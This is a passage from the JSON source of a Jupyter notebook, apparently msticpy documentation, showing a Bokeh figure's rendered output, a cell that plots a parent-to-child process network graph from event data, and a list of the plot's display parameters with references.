style=\"display: table-cell;\">lod_factor&nbsp;=&nbsp;10,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_interval&nbsp;=&nbsp;300,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_threshold&nbsp;=&nbsp;2000,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_timeout&nbsp;=&nbsp;500,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">match_aspect&nbsp;=&nbsp;False,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border&nbsp;=&nbsp;5,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_bottom&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_left&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_right&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_top&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_height&nbsp;=&nbsp;0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_width&nbsp;=&nbsp;0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_cap&nbsp;=&nbsp;'butt',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_color&nbsp;=&nbsp;'#e5e5e5',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash&nbsp;=&nbsp;[],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash_offset&nbsp;=&nbsp;0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_join&nbsp;=&nbsp;'bevel',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_width&nbsp;=&nbsp;1,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">output_backend&nbsp;=&nbsp;'canvas',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">renderers&nbsp;=&nbsp;[GraphRenderer(id='5533', ...)],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">reset_policy&nbsp;=&nbsp;'standard',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">right&nbsp;=&nbsp;[],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title&nbsp;=&nbsp;Title(id='5501', ...),</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title_location&nbsp;=&nbsp;'above',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar&nbsp;=&nbsp;Toolbar(id='5526', ...),</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_location&nbsp;=&nbsp;'right',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_sticky&nbsp;=&nbsp;True,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;800,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_range&nbsp;=&nbsp;Range1d(id='5503', ...),</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_scale&nbsp;=&nbsp;LinearScale(id='5507', ...),</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_range&nbsp;=&nbsp;Range1d(id='5505', ...),</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_scale&nbsp;=&nbsp;LinearScale(id='5509', ...))</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"6008\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"6007\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Figure(id='5500', ...)"
      ]
     },
     "execution_count": 41,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "proc_df.head(70).mp_plot.network(\n",
    "    source_col=\"ParentProcessName\",\n",
    "    target_col=\"Process\",\n",
    "    source_attrs=[\"SubjectDomainName\", \"SubjectLogonId\"],\n",
    "    target_attrs=[\"NewProcessName\", \"ParentProcessName\", \"CommandLine\"],\n",
    "    edge_attrs=[\"TimeGenerated\"],\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "There are a number of other parameters to control\n",
    "the display of the graph.\n",
    "\n",
    "- title - Title for the plot, by default 'Data Graph'\n",
    "- node_size - Size of the nodes in pixels, by default 25\n",
    "- font_size - Font size for node labels, by default 10. Can be an integer (point size) or a string (e.g. \"10pt\")\n",
    "- width - Plot width in pixels, by default 800\n",
    "- height - Plot height (the default is 800)\n",
    "- plot scale - Position scale (the default is 2)\n",
    "- hide - Don't show the plot, by default False. If True, just return the figure.\n",
    "- source_color - The color of the source nodes, by default 'light-blue'\n",
    "- target_color - The color of the source nodes, by default 'light-green'\n",
    "- edge_color - The color of the edges, by default 'black'\n",
    "- node_size - Size of the nodes in pixels, by default 25\n",
    "- font_size - Font size for node labels, by default 10. Can be an integer (point size) or a string (e.g. \"10pt\")\n",
    "- **kwargs - other keyword arguments will be passed to the Networkx layout function."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "References\n",
    "----------\n",
    "\n",
    "- [Networkx from_pandas_edgelist](https://networkx.org/documentation/stable/reference/generated/networkx.convert_matrix.from_pandas_edgelist.html)\n",
    "- [Bokeh graph visualization](https://docs.bokeh.org/en/latest/docs/user_guide/graph.html)"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3.9.7 ('msticpy')",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.7"
  },
  "orig_nbformat": 4,
  "vscode": {
   "interpreter": {
    "hash": "0f1a8e166ce5c1ec1911a36e4fdbd34b2f623e2a3442791008b8ac429a1d6070"
   }
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
